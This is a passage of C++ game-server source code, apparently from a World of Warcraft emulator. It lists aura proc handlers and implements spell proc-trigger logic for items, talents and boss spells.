&Unit::HandleNULLProc, //183 SPELL_AURA_MOD_CRITICAL_THREAT only used in 28746
&Unit::HandleNULLProc, //184 SPELL_AURA_MOD_ATTACKER_MELEE_HIT_CHANCE
&Unit::HandleNULLProc, //185 SPELL_AURA_MOD_ATTACKER_RANGED_HIT_CHANCE
&Unit::HandleNULLProc, //186 SPELL_AURA_MOD_ATTACKER_SPELL_HIT_CHANCE
&Unit::HandleNULLProc, //187 SPELL_AURA_MOD_ATTACKER_MELEE_CRIT_CHANCE
&Unit::HandleNULLProc, //188 SPELL_AURA_MOD_ATTACKER_RANGED_CRIT_CHANCE
&Unit::HandleModRating, //189 SPELL_AURA_MOD_RATING
&Unit::HandleNULLProc, //190 SPELL_AURA_MOD_FACTION_REPUTATION_GAIN
&Unit::HandleNULLProc, //191 SPELL_AURA_USE_NORMAL_MOVEMENT_SPEED
&Unit::HandleNULLProc, //192 SPELL_AURA_HASTE_MELEE
&Unit::HandleNULLProc, //193 SPELL_AURA_HASTE_ALL (in fact combat (any type attack) speed pct)
&Unit::HandleNULLProc, //194 SPELL_AURA_MOD_IGNORE_ABSORB_SCHOOL
&Unit::HandleNULLProc, //195 SPELL_AURA_MOD_IGNORE_ABSORB_FOR_SPELL
&Unit::HandleNULLProc, //196 SPELL_AURA_MOD_COOLDOWN (single spell 24818 in 3.2.2a)
&Unit::HandleNULLProc, //197 SPELL_AURA_MOD_ATTACKER_SPELL_AND_WEAPON_CRIT_CHANCEe
&Unit::HandleNULLProc, //198 unused (3.0.8a-3.2.2a) old SPELL_AURA_MOD_ALL_WEAPON_SKILLS
&Unit::HandleNULLProc, //199 SPELL_AURA_MOD_INCREASES_SPELL_PCT_TO_HIT
&Unit::HandleNULLProc, //200 SPELL_AURA_MOD_KILL_XP_PCT
&Unit::HandleNULLProc, //201 SPELL_AURA_FLY this aura enable flight mode...
&Unit::HandleNULLProc, //202 SPELL_AURA_CANNOT_BE_DODGED
&Unit::HandleNULLProc, //203 SPELL_AURA_MOD_ATTACKER_MELEE_CRIT_DAMAGE
&Unit::HandleNULLProc, //204 SPELL_AURA_MOD_ATTACKER_RANGED_CRIT_DAMAGE
&Unit::HandleNULLProc, //205 SPELL_AURA_MOD_ATTACKER_SPELL_CRIT_DAMAGE
&Unit::HandleNULLProc, //206 SPELL_AURA_MOD_FLIGHT_SPEED
&Unit::HandleNULLProc, //207 SPELL_AURA_MOD_FLIGHT_SPEED_MOUNTED
&Unit::HandleNULLProc, //208 SPELL_AURA_MOD_FLIGHT_SPEED_STACKING
&Unit::HandleNULLProc, //209 SPELL_AURA_MOD_FLIGHT_SPEED_MOUNTED_STACKING
&Unit::HandleNULLProc, //210 SPELL_AURA_MOD_FLIGHT_SPEED_NOT_STACKING
&Unit::HandleNULLProc, //211 SPELL_AURA_MOD_FLIGHT_SPEED_MOUNTED_NOT_STACKING
&Unit::HandleNULLProc, //212 SPELL_AURA_MOD_RANGED_ATTACK_POWER_OF_STAT_PERCENT
&Unit::HandleNULLProc, //213 SPELL_AURA_MOD_RAGE_FROM_DAMAGE_DEALT implemented in Player::RewardRage
&Unit::HandleNULLProc, //214 Tamed Pet Passive (single test like spell 20782, also single for 157 aura)
&Unit::HandleNULLProc, //215 SPELL_AURA_ARENA_PREPARATION
&Unit::HandleNULLProc, //216 SPELL_AURA_HASTE_SPELLS
&Unit::HandleNULLProc, //217 unused (3.0.8a-3.2.2a)
&Unit::HandleNULLProc, //218 SPELL_AURA_HASTE_RANGED
&Unit::HandleNULLProc, //219 SPELL_AURA_MOD_MANA_REGEN_FROM_STAT
&Unit::HandleNULLProc, //220 SPELL_AURA_MOD_RATING_FROM_STAT
&Unit::HandleNULLProc, //221 ignored
&Unit::HandleNULLProc, //222 unused (3.0.8a-3.2.2a) only for spell 44586 that not used in real spell cast
&Unit::HandleNULLProc, //223 dummy code (cast damage spell to attacker) and another dymmy (jump to another nearby raid member)
&Unit::HandleNULLProc, //224 unused (3.0.8a-3.2.2a)
&Unit::HandleMendingAuraProc, //225 SPELL_AURA_PRAYER_OF_MENDING
&Unit::HandlePeriodicDummyAuraProc, //226 SPELL_AURA_PERIODIC_DUMMY
&Unit::HandleNULLProc, //227 SPELL_AURA_PERIODIC_TRIGGER_SPELL_WITH_VALUE
&Unit::HandleNULLProc, //228 SPELL_AURA_DETECT_STEALTH
&Unit::HandleNULLProc, //229 SPELL_AURA_MOD_AOE_DAMAGE_AVOIDANCE
&Unit::HandleNULLProc, //230 Commanding Shout
&Unit::HandleProcTriggerSpellAuraProc, //231 SPELL_AURA_PROC_TRIGGER_SPELL_WITH_VALUE
&Unit::HandleNULLProc, //232 SPELL_AURA_MECHANIC_DURATION_MOD
&Unit::HandleNULLProc, //233 set model id to the one of the creature with id m_modifier.m_miscvalue
&Unit::HandleNULLProc, //234 SPELL_AURA_MECHANIC_DURATION_MOD_NOT_STACK
&Unit::HandleNULLProc, //235 SPELL_AURA_MOD_DISPEL_RESIST
&Unit::HandleNULLProc, //236 SPELL_AURA_CONTROL_VEHICLE
&Unit::HandleNULLProc, //237 SPELL_AURA_MOD_SPELL_DAMAGE_OF_ATTACK_POWER
&Unit::HandleNULLProc, //238 SPELL_AURA_MOD_SPELL_HEALING_OF_ATTACK_POWER
&Unit::HandleNULLProc, //239 SPELL_AURA_MOD_SCALE_2 only in Noggenfogger Elixir (16595) before 2.3.0 aura 61
&Unit::HandleNULLProc, //240 SPELL_AURA_MOD_EXPERTISE
&Unit::HandleNULLProc, //241 Forces the player to move forward
&Unit::HandleNULLProc, //242 SPELL_AURA_MOD_SPELL_DAMAGE_FROM_HEALING (only 2 test spels in 3.2.2a)
&Unit::HandleNULLProc, //243 faction reaction override spells
&Unit::HandleNULLProc, //244 SPELL_AURA_COMPREHEND_LANGUAGE
&Unit::HandleNULLProc, //245 SPELL_AURA_MOD_DURATION_OF_MAGIC_EFFECTS
&Unit::HandleNULLProc, //246 SPELL_AURA_MOD_DURATION_OF_EFFECTS_BY_DISPEL
&Unit::HandleNULLProc, //247 target to become a clone of the caster
&Unit::HandleNULLProc, //248 SPELL_AURA_MOD_COMBAT_RESULT_CHANCE
&Unit::HandleNULLProc, //249 SPELL_AURA_CONVERT_RUNE
&Unit::HandleNULLProc, //250 SPELL_AURA_MOD_INCREASE_HEALTH_2
&Unit::HandleNULLProc, //251 SPELL_AURA_MOD_ENEMY_DODGE
&Unit::HandleNULLProc, //252 SPELL_AURA_SLOW_ALL
&Unit::HandleNULLProc, //253 SPELL_AURA_MOD_BLOCK_CRIT_CHANCE
&Unit::HandleNULLProc, //254 SPELL_AURA_MOD_DISARM_SHIELD disarm Shield
&Unit::HandleNULLProc, //255 SPELL_AURA_MOD_MECHANIC_DAMAGE_TAKEN_PERCENT
&Unit::HandleNULLProc, //256 SPELL_AURA_NO_REAGENT_USE Use SpellClassMask for spell select
&Unit::HandleNULLProc, //257 SPELL_AURA_MOD_TARGET_RESIST_BY_SPELL_CLASS Use SpellClassMask for spell select
&Unit::HandleNULLProc, //258 SPELL_AURA_MOD_SPELL_VISUAL
&Unit::HandleNULLProc, //259 corrupt healing over time spell
&Unit::HandleNULLProc, //260 SPELL_AURA_SCREEN_EFFECT (miscvalue = id in ScreenEffect.dbc) not required any code
&Unit::HandleNULLProc, //261 SPELL_AURA_PHASE undetectable invisibility?
&Unit::HandleNULLProc, //262 SPELL_AURA_IGNORE_UNIT_STATE
&Unit::HandleNULLProc, //263 SPELL_AURA_ALLOW_ONLY_ABILITY player can use only abilities set in SpellClassMask
&Unit::HandleNULLProc, //264 unused (3.0.8a-3.2.2a)
&Unit::HandleNULLProc, //265 unused (3.0.8a-3.2.2a)
&Unit::HandleNULLProc, //266 unused (3.0.8a-3.2.2a)
&Unit::HandleNULLProc, //267 SPELL_AURA_MOD_IMMUNE_AURA_APPLY_SCHOOL
&Unit::HandleNULLProc, //268 SPELL_AURA_MOD_ATTACK_POWER_OF_STAT_PERCENT
&Unit::HandleNULLProc, //269 SPELL_AURA_MOD_IGNORE_DAMAGE_REDUCTION_SCHOOL
&Unit::HandleNULLProc, //270 SPELL_AURA_MOD_IGNORE_TARGET_RESIST (unused in 3.2.2a)
&Unit::HandleModDamageFromCasterAuraProc, //271 SPELL_AURA_MOD_DAMAGE_FROM_CASTER
&Unit::HandleNULLProc, //272 SPELL_AURA_MAELSTROM_WEAPON (unclear use for aura, it used in (3.2.2a...3.3.0) in single spell 53817 that spellmode stacked and charged spell expected to be drop as stack
&Unit::HandleNULLProc, //273 SPELL_AURA_X_RAY (client side implementation)
&Unit::HandleNULLProc, //274 proc free shot?
&Unit::HandleNULLProc, //275 SPELL_AURA_MOD_IGNORE_SHAPESHIFT Use SpellClassMask for spell select
&Unit::HandleNULLProc, //276 mod damage % mechanic?
&Unit::HandleNULLProc, //277 SPELL_AURA_MOD_MAX_AFFECTED_TARGETS Use SpellClassMask for spell select
&Unit::HandleNULLProc, //278 SPELL_AURA_MOD_DISARM_RANGED disarm ranged weapon
&Unit::HandleNULLProc, //279 visual effects? 58836 and 57507
&Unit::HandleNULLProc, //280 SPELL_AURA_MOD_TARGET_ARMOR_PCT
&Unit::HandleNULLProc, //281 SPELL_AURA_MOD_HONOR_GAIN
&Unit::HandleNULLProc, //282 SPELL_AURA_INCREASE_BASE_HEALTH_PERCENT
&Unit::HandleNULLProc, //283 SPELL_AURA_MOD_HEALING_RECEIVED
&Unit::HandleNULLProc, //284 51 spells
&Unit::HandleNULLProc, //285 SPELL_AURA_MOD_ATTACK_POWER_OF_ARMOR
&Unit::HandleNULLProc, //286 SPELL_AURA_ABILITY_PERIODIC_CRIT
&Unit::HandleNULLProc, //287 SPELL_AURA_DEFLECT_SPELLS
&Unit::HandleNULLProc, //288 increase parry/deflect, prevent attack (single spell used 67801)
&Unit::HandleNULLProc, //289 unused (3.2.2a)
&Unit::HandleNULLProc, //290 SPELL_AURA_MOD_ALL_CRIT_CHANCE
&Unit::HandleNULLProc, //291 SPELL_AURA_MOD_QUEST_XP_PCT
&Unit::HandleNULLProc, //292 call stabled pet
&Unit::HandleNULLProc, //293 3 spells
&Unit::HandleNULLProc, //294 2 spells, possible prevent mana regen
&Unit::HandleNULLProc, //295 unused (3.2.2a)
&Unit::HandleNULLProc, //296 2 spells
&Unit::HandleNULLProc, //297 1 spell (counter spell school?)
&Unit::HandleNULLProc, //298 unused (3.2.2a)
&Unit::HandleNULLProc, //299 unused (3.2.2a)
&Unit::HandleNULLProc, //300 3 spells (share damage?)
&Unit::HandleNULLProc, //301 5 spells
&Unit::HandleNULLProc, //302 unused (3.2.2a)
&Unit::HandleNULLProc, //303 17 spells
&Unit::HandleNULLProc, //304 2 spells (alcohol effect?)
&Unit::HandleNULLProc, //305 SPELL_AURA_MOD_MINIMUM_SPEED
&Unit::HandleNULLProc, //306 1 spell
&Unit::HandleNULLProc, //307 absorb healing?
&Unit::HandleNULLProc, //308 new aura for hunter traps
&Unit::HandleNULLProc, //309 absorb healing?
&Unit::HandleNULLProc, //310 pet avoidance passive?
&Unit::HandleNULLProc, //311 0 spells in 3.3
&Unit::HandleNULLProc, //312 0 spells in 3.3
&Unit::HandleNULLProc, //313 0 spells in 3.3
&Unit::HandleNULLProc, //314 1 test spell (reduce duration of silince/magic)
&Unit::HandleNULLProc, //315 underwater walking
&Unit::HandleNULLProc //316 makes haste affect HOT/DOT ticks
};
bool Unit::IsTriggeredAtSpellProcEvent(Unit *pVictim, SpellAuraHolder* holder, SpellEntry const* procSpell, uint32 procFlag, uint32 procExtra, WeaponAttackType attType, bool isVictim, SpellProcEventEntry const*& spellProcEvent )
{
SpellEntry const* spellProto = holder->GetSpellProto ();
// Get proc Event Entry
spellProcEvent = sSpellMgr.GetSpellProcEvent(spellProto->Id);
// Get EventProcFlag
uint32 EventProcFlag;
if (spellProcEvent && spellProcEvent->procFlags) // if exist get custom spellProcEvent->procFlags
EventProcFlag = spellProcEvent->procFlags;
else
EventProcFlag = spellProto->procFlags; // else get from spell proto
// Continue if no trigger exist
if (!EventProcFlag)
return false;
// Check spellProcEvent data requirements
if(!SpellMgr::IsSpellProcEventCanTriggeredBy(spellProcEvent, EventProcFlag, procSpell, procFlag, procExtra))
return false;
// In most cases req get honor or XP from kill
if (EventProcFlag & PROC_FLAG_KILL && GetTypeId() == TYPEID_PLAYER)
{
bool allow = ((Player*)this)->isHonorOrXPTarget(pVictim);
// Shadow Word: Death - can trigger from every kill
if (holder->GetId() == 32409)
allow = true;
if (!allow)
return false;
}
// Aura added by spell can`t trigger from self (prevent drop charges/do triggers)
// But except periodic triggers (can triggered from self)
if(procSpell && procSpell->Id == spellProto->Id && !(spellProto->procFlags & PROC_FLAG_ON_TAKE_PERIODIC))
return false;
// Check if current equipment allows aura to proc
if(!isVictim && GetTypeId() == TYPEID_PLAYER)
{
if(spellProto->EquippedItemClass == ITEM_CLASS_WEAPON)
{
Item *item = NULL;
if(attType == BASE_ATTACK)
item = ((Player*)this)->GetItemByPos(INVENTORY_SLOT_BAG_0, EQUIPMENT_SLOT_MAINHAND);
else if (attType == OFF_ATTACK)
item = ((Player*)this)->GetItemByPos(INVENTORY_SLOT_BAG_0, EQUIPMENT_SLOT_OFFHAND);
else
item = ((Player*)this)->GetItemByPos(INVENTORY_SLOT_BAG_0, EQUIPMENT_SLOT_RANGED);
if(!item || item->IsBroken() || item->GetProto()->Class != ITEM_CLASS_WEAPON || !((1<<item->GetProto()->SubClass) & spellProto->EquippedItemSubClassMask))
return false;
}
else if(spellProto->EquippedItemClass == ITEM_CLASS_ARMOR)
{
// Check if player is wearing shield
Item *item = ((Player*)this)->GetItemByPos(INVENTORY_SLOT_BAG_0, EQUIPMENT_SLOT_OFFHAND);
if(!item || item->IsBroken() || !CanUseEquippedWeapon(OFF_ATTACK) || item->GetProto()->Class != ITEM_CLASS_ARMOR || !((1<<item->GetProto()->SubClass) & spellProto->EquippedItemSubClassMask))
return false;
}
}
// Get chance from spell
float chance = (float)spellProto->procChance;
// If in spellProcEvent exist custom chance, chance = spellProcEvent->customChance;
if(spellProcEvent && spellProcEvent->customChance)
chance = spellProcEvent->customChance;
// If PPM exist calculate chance from PPM
if(!isVictim && spellProcEvent && spellProcEvent->ppmRate != 0)
{
uint32 WeaponSpeed = GetAttackTime(attType);
chance = GetPPMProcChance(WeaponSpeed, spellProcEvent->ppmRate);
}
// Apply chance modifier aura
if(Player* modOwner = GetSpellModOwner())
{
modOwner->ApplySpellMod(spellProto->Id,SPELLMOD_CHANCE_OF_SUCCESS,chance);
modOwner->ApplySpellMod(spellProto->Id,SPELLMOD_FREQUENCY_OF_SUCCESS,chance);
}
return roll_chance_f(chance);
}
SpellAuraProcResult Unit::HandleHasteAuraProc(Unit *pVictim, uint32 damage, Aura* triggeredByAura, SpellEntry const * /*procSpell*/, uint32 /*procFlag*/, uint32 /*procEx*/, uint32 cooldown)
{
SpellEntry const *hasteSpell = triggeredByAura->GetSpellProto();
Item* castItem = !triggeredByAura->GetCastItemGuid().IsEmpty() && GetTypeId()==TYPEID_PLAYER
? ((Player*)this)->GetItemByGuid(triggeredByAura->GetCastItemGuid()) : NULL;
uint32 triggered_spell_id = 0;
Unit* target = pVictim;
int32 basepoints0 = 0;
switch(hasteSpell->SpellFamilyName)
{
case SPELLFAMILY_ROGUE:
{
switch(hasteSpell->Id)
{
// Blade Flurry
case 13877:
case 33735:
{
target = SelectRandomUnfriendlyTarget(pVictim);
if(!target)
return SPELL_AURA_PROC_FAILED;
basepoints0 = damage;
triggered_spell_id = 22482;
break;
}
}
break;
}
}
// processed charge only counting case
if(!triggered_spell_id)
return SPELL_AURA_PROC_OK;
SpellEntry const* triggerEntry = sSpellStore.LookupEntry(triggered_spell_id);
if(!triggerEntry)
{
sLog.outError("Unit::HandleHasteAuraProc: Spell %u have nonexistent triggered spell %u",hasteSpell->Id,triggered_spell_id);
return SPELL_AURA_PROC_FAILED;
}
// default case
if (!target || (target != this && !target->isAlive()))
return SPELL_AURA_PROC_FAILED;
if (cooldown && GetTypeId()==TYPEID_PLAYER && ((Player*)this)->HasSpellCooldown(triggered_spell_id))
return SPELL_AURA_PROC_FAILED;
if (basepoints0)
CastCustomSpell(target,triggered_spell_id,&basepoints0,NULL,NULL,true,castItem,triggeredByAura);
else
CastSpell(target,triggered_spell_id,true,castItem,triggeredByAura);
if (cooldown && GetTypeId()==TYPEID_PLAYER)
((Player*)this)->AddSpellCooldown(triggered_spell_id,0,time(NULL) + cooldown);
return SPELL_AURA_PROC_OK;
}
SpellAuraProcResult Unit::HandleSpellCritChanceAuraProc(Unit *pVictim, uint32 /*damage*/, Aura* triggeredByAura, SpellEntry const * procSpell, uint32 /*procFlag*/, uint32 /*procEx*/, uint32 cooldown)
{
if (!procSpell)
return SPELL_AURA_PROC_FAILED;
SpellEntry const *triggeredByAuraSpell = triggeredByAura->GetSpellProto();
Item* castItem = !triggeredByAura->GetCastItemGuid().IsEmpty() && GetTypeId()==TYPEID_PLAYER
? ((Player*)this)->GetItemByGuid(triggeredByAura->GetCastItemGuid()) : NULL;
uint32 triggered_spell_id = 0;
Unit* target = pVictim;
int32 basepoints0 = 0;
switch(triggeredByAuraSpell->SpellFamilyName)
{
case SPELLFAMILY_MAGE:
{
switch(triggeredByAuraSpell->Id)
{
// Focus Magic
case 54646:
{
Unit* caster = triggeredByAura->GetCaster();
if (!caster)
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 54648;
target = caster;
break;
}
}
}
}
// processed charge only counting case
if (!triggered_spell_id)
return SPELL_AURA_PROC_OK;
SpellEntry const* triggerEntry = sSpellStore.LookupEntry(triggered_spell_id);
if(!triggerEntry)
{
sLog.outError("Unit::HandleHasteAuraProc: Spell %u have nonexistent triggered spell %u",triggeredByAuraSpell->Id,triggered_spell_id);
return SPELL_AURA_PROC_FAILED;
}
// default case
if (!target || (target != this && !target->isAlive()))
return SPELL_AURA_PROC_FAILED;
if (cooldown && GetTypeId()==TYPEID_PLAYER && ((Player*)this)->HasSpellCooldown(triggered_spell_id))
return SPELL_AURA_PROC_FAILED;
if (basepoints0)
CastCustomSpell(target,triggered_spell_id,&basepoints0,NULL,NULL,true,castItem,triggeredByAura);
else
CastSpell(target,triggered_spell_id,true,castItem,triggeredByAura);
if (cooldown && GetTypeId()==TYPEID_PLAYER)
((Player*)this)->AddSpellCooldown(triggered_spell_id,0,time(NULL) + cooldown);
return SPELL_AURA_PROC_OK;
}
SpellAuraProcResult Unit::HandleDummyAuraProc(Unit *pVictim, uint32 damage, Aura* triggeredByAura, SpellEntry const * procSpell, uint32 procFlag, uint32 procEx, uint32 cooldown)
{
SpellEntry const *dummySpell = triggeredByAura->GetSpellProto ();
SpellEffectIndex effIndex = triggeredByAura->GetEffIndex();
int32 triggerAmount = triggeredByAura->GetModifier()->m_amount;
Item* castItem = !triggeredByAura->GetCastItemGuid().IsEmpty() && GetTypeId()==TYPEID_PLAYER
? ((Player*)this)->GetItemByGuid(triggeredByAura->GetCastItemGuid()) : NULL;
// some dummy spells have trigger spell in spell data already (from 3.0.3)
uint32 triggered_spell_id = dummySpell->EffectApplyAuraName[effIndex] == SPELL_AURA_DUMMY ? dummySpell->EffectTriggerSpell[effIndex] : 0;
Unit* target = pVictim;
int32 basepoints[MAX_EFFECT_INDEX] = {0, 0, 0};
ObjectGuid originalCaster = ObjectGuid();
switch(dummySpell->SpellFamilyName)
{
case SPELLFAMILY_GENERIC:
{
switch (dummySpell->Id)
{
// Eye for an Eye
case 9799:
case 25988:
{
// return damage % to attacker but < 50% own total health
basepoints[0] = triggerAmount*int32(damage)/100;
if (basepoints[0] > (int32)GetMaxHealth()/2)
basepoints[0] = (int32)GetMaxHealth()/2;
triggered_spell_id = 25997;
break;
}
// Sweeping Strikes (NPC spells may be)
case 18765:
case 35429:
{
// prevent chain of triggered spell from same triggered spell
if (procSpell && procSpell->Id == 26654)
return SPELL_AURA_PROC_FAILED;
target = SelectRandomUnfriendlyTarget(pVictim);
if(!target)
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 26654;
break;
}
// Twisted Reflection (boss spell)
case 21063:
triggered_spell_id = 21064;
break;
// Unstable Power
case 24658:
{
if (!procSpell || procSpell->Id == 24659)
return SPELL_AURA_PROC_FAILED;
// Need remove one 24659 aura
RemoveAuraHolderFromStack(24659);
return SPELL_AURA_PROC_OK;
}
// Restless Strength
case 24661:
{
// Need remove one 24662 aura
RemoveAuraHolderFromStack(24662);
return SPELL_AURA_PROC_OK;
}
// Adaptive Warding (Frostfire Regalia set)
case 28764:
{
if(!procSpell)
return SPELL_AURA_PROC_FAILED;
// find Mage Armor
bool found = false;
AuraList const& mRegenInterupt = GetAurasByType(SPELL_AURA_MOD_MANA_REGEN_INTERRUPT);
for(AuraList::const_iterator iter = mRegenInterupt.begin(); iter != mRegenInterupt.end(); ++iter)
{
if(SpellEntry const* iterSpellProto = (*iter)->GetSpellProto())
{
if(iterSpellProto->SpellFamilyName==SPELLFAMILY_MAGE && (iterSpellProto->SpellFamilyFlags & UI64LIT(0x10000000)))
{
found=true;
break;
}
}
}
if(!found)
return SPELL_AURA_PROC_FAILED;
switch(GetFirstSchoolInMask(GetSpellSchoolMask(procSpell)))
{
case SPELL_SCHOOL_NORMAL:
case SPELL_SCHOOL_HOLY:
return SPELL_AURA_PROC_FAILED; // ignored
case SPELL_SCHOOL_FIRE: triggered_spell_id = 28765; break;
case SPELL_SCHOOL_NATURE: triggered_spell_id = 28768; break;
case SPELL_SCHOOL_FROST: triggered_spell_id = 28766; break;
case SPELL_SCHOOL_SHADOW: triggered_spell_id = 28769; break;
case SPELL_SCHOOL_ARCANE: triggered_spell_id = 28770; break;
default:
return SPELL_AURA_PROC_FAILED;
}
target = this;
break;
}
// Obsidian Armor (Justice Bearer`s Pauldrons shoulder)
case 27539:
{
if(!procSpell)
return SPELL_AURA_PROC_FAILED;
switch(GetFirstSchoolInMask(GetSpellSchoolMask(procSpell)))
{
case SPELL_SCHOOL_NORMAL:
return SPELL_AURA_PROC_FAILED; // ignore
case SPELL_SCHOOL_HOLY: triggered_spell_id = 27536; break;
case SPELL_SCHOOL_FIRE: triggered_spell_id = 27533; break;
case SPELL_SCHOOL_NATURE: triggered_spell_id = 27538; break;
case SPELL_SCHOOL_FROST: triggered_spell_id = 27534; break;
case SPELL_SCHOOL_SHADOW: triggered_spell_id = 27535; break;
case SPELL_SCHOOL_ARCANE: triggered_spell_id = 27540; break;
default:
return SPELL_AURA_PROC_FAILED;
}
target = this;
break;
}
// Mana Leech (Passive) (Priest Pet Aura)
case 28305:
{
// Cast on owner
target = GetOwner();
if(!target)
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 34650;
break;
}
// Divine purpose
case 31871:
case 31872:
{
// Roll chance
if (!roll_chance_i(triggerAmount))
return SPELL_AURA_PROC_FAILED;
// Remove any stun effect on target
SpellAuraHolderMap& Auras = pVictim->GetSpellAuraHolderMap();
for(SpellAuraHolderMap::const_iterator iter = Auras.begin(); iter != Auras.end();)
{
SpellEntry const *spell = iter->second->GetSpellProto();
if( spell->Mechanic == MECHANIC_STUN ||
iter->second->HasMechanic(MECHANIC_STUN))
{
pVictim->RemoveAurasDueToSpell(spell->Id);
iter = Auras.begin();
}
else
++iter;
}
return SPELL_AURA_PROC_OK;
}
// Mark of Malice
case 33493:
{
// Cast finish spell at last charge
if (triggeredByAura->GetHolder()->GetAuraCharges() > 1)
return SPELL_AURA_PROC_FAILED;
target = this;
triggered_spell_id = 33494;
break;
}
// Vampiric Aura (boss spell)
case 38196:
{
basepoints[0] = 3 * damage; // 300%
if (basepoints[0] < 0)
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 31285;
target = this;
break;
}
// Aura of Madness (Darkmoon Card: Madness trinket)
//=====================================================
// 39511 Sociopath: +35 strength (Paladin, Rogue, Druid, Warrior)
// 40997 Delusional: +70 attack power (Rogue, Hunter, Paladin, Warrior, Druid)
// 40998 Kleptomania: +35 agility (Warrior, Rogue, Paladin, Hunter, Druid)
// 40999 Megalomania: +41 damage/healing (Druid, Shaman, Priest, Warlock, Mage, Paladin)
// 41002 Paranoia: +35 spell/melee/ranged crit strike rating (All classes)
// 41005 Manic: +35 haste (spell, melee and ranged) (All classes)
// 41009 Narcissism: +35 intellect (Druid, Shaman, Priest, Warlock, Mage, Paladin, Hunter)
// 41011 Martyr Complex: +35 stamina (All classes)
// 41406 Dementia: Every 5 seconds either gives you +5% damage/healing. (Druid, Shaman, Priest, Warlock, Mage, Paladin)
// 41409 Dementia: Every 5 seconds either gives you -5% damage/healing. (Druid, Shaman, Priest, Warlock, Mage, Paladin)
case 39446:
{
if(GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
// Select class defined buff
switch (getClass())
{
case CLASS_PALADIN: // 39511,40997,40998,40999,41002,41005,41009,41011,41409
case CLASS_DRUID: // 39511,40997,40998,40999,41002,41005,41009,41011,41409
{
uint32 RandomSpell[]={39511,40997,40998,40999,41002,41005,41009,41011,41409};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
case CLASS_ROGUE: // 39511,40997,40998,41002,41005,41011
case CLASS_WARRIOR: // 39511,40997,40998,41002,41005,41011
{
uint32 RandomSpell[]={39511,40997,40998,41002,41005,41011};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
case CLASS_PRIEST: // 40999,41002,41005,41009,41011,41406,41409
case CLASS_SHAMAN: // 40999,41002,41005,41009,41011,41406,41409
case CLASS_MAGE: // 40999,41002,41005,41009,41011,41406,41409
case CLASS_WARLOCK: // 40999,41002,41005,41009,41011,41406,41409
{
uint32 RandomSpell[]={40999,41002,41005,41009,41011,41406,41409};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
case CLASS_HUNTER: // 40997,40999,41002,41005,41009,41011,41406,41409
{
uint32 RandomSpell[]={40997,40999,41002,41005,41009,41011,41406,41409};
triggered_spell_id = RandomSpell[ irand(0, sizeof(RandomSpell)/sizeof(uint32) - 1) ];
break;
}
default:
return SPELL_AURA_PROC_FAILED;
}
target = this;
if (roll_chance_i(10))
((Player*)this)->Say("This is Madness!", LANG_UNIVERSAL);
break;
}
// Sunwell Exalted Caster Neck (Shattered Sun Pendant of Acumen neck)
// cast 45479 Light's Wrath if Exalted by Aldor
// cast 45429 Arcane Bolt if Exalted by Scryers
case 45481:
{
if(GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
// Get Aldor reputation rank
if (((Player *)this)->GetReputationRank(932) == REP_EXALTED)
{
target = this;
triggered_spell_id = 45479;
break;
}
// Get Scryers reputation rank
if (((Player *)this)->GetReputationRank(934) == REP_EXALTED)
{
// triggered at positive/self casts also, current attack target used then
if(IsFriendlyTo(target))
{
target = getVictim();
if(!target)
{
target = ObjectAccessor::GetUnit(*this,((Player *)this)->GetSelectionGuid());
if(!target)
return SPELL_AURA_PROC_FAILED;
}
if(IsFriendlyTo(target))
return SPELL_AURA_PROC_FAILED;
}
triggered_spell_id = 45429;
break;
}
return SPELL_AURA_PROC_FAILED;
}
// Sunwell Exalted Melee Neck (Shattered Sun Pendant of Might neck)
// cast 45480 Light's Strength if Exalted by Aldor
// cast 45428 Arcane Strike if Exalted by Scryers
case 45482:
{
if(GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
// Get Aldor reputation rank
if (((Player *)this)->GetReputationRank(932) == REP_EXALTED)
{
target = this;
triggered_spell_id = 45480;
break;
}
// Get Scryers reputation rank
if (((Player *)this)->GetReputationRank(934) == REP_EXALTED)
{
triggered_spell_id = 45428;
break;
}
return SPELL_AURA_PROC_FAILED;
}
// Sunwell Exalted Tank Neck (Shattered Sun Pendant of Resolve neck)
// cast 45431 Arcane Insight if Exalted by Aldor
// cast 45432 Light's Ward if Exalted by Scryers
case 45483:
{
if(GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
// Get Aldor reputation rank
if (((Player *)this)->GetReputationRank(932) == REP_EXALTED)
{
target = this;
triggered_spell_id = 45432;
break;
}
// Get Scryers reputation rank
if (((Player *)this)->GetReputationRank(934) == REP_EXALTED)
{
target = this;
triggered_spell_id = 45431;
break;
}
return SPELL_AURA_PROC_FAILED;
}
// Sunwell Exalted Healer Neck (Shattered Sun Pendant of Restoration neck)
// cast 45478 Light's Salvation if Exalted by Aldor
// cast 45430 Arcane Surge if Exalted by Scryers
case 45484:
{
if(GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
// Get Aldor reputation rank
if (((Player *)this)->GetReputationRank(932) == REP_EXALTED)
{
target = this;
triggered_spell_id = 45478;
break;
}
// Get Scryers reputation rank
if (((Player *)this)->GetReputationRank(934) == REP_EXALTED)
{
triggered_spell_id = 45430;
break;
}
return SPELL_AURA_PROC_FAILED;
}
/*
// Sunwell Exalted Caster Neck (??? neck)
// cast ??? Light's Wrath if Exalted by Aldor
// cast ??? Arcane Bolt if Exalted by Scryers*/
case 46569:
return SPELL_AURA_PROC_FAILED; // old unused version
// Living Seed
case 48504:
{
triggered_spell_id = 48503;
basepoints[0] = triggerAmount;
target = this;
break;
}
// Health Leech (used by Bloodworms)
case 50453:
{
Unit *owner = GetOwner();
if (!owner)
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 50454;
basepoints[0] = int32(damage*1.69);
target = owner;
break;
}
// Vampiric Touch (generic, used by some boss)
case 52723:
case 60501:
{
triggered_spell_id = 52724;
basepoints[0] = damage / 2;
target = this;
break;
}
// Shadowfiend Death (Gain mana if pet dies with Glyph of Shadowfiend)
case 57989:
{
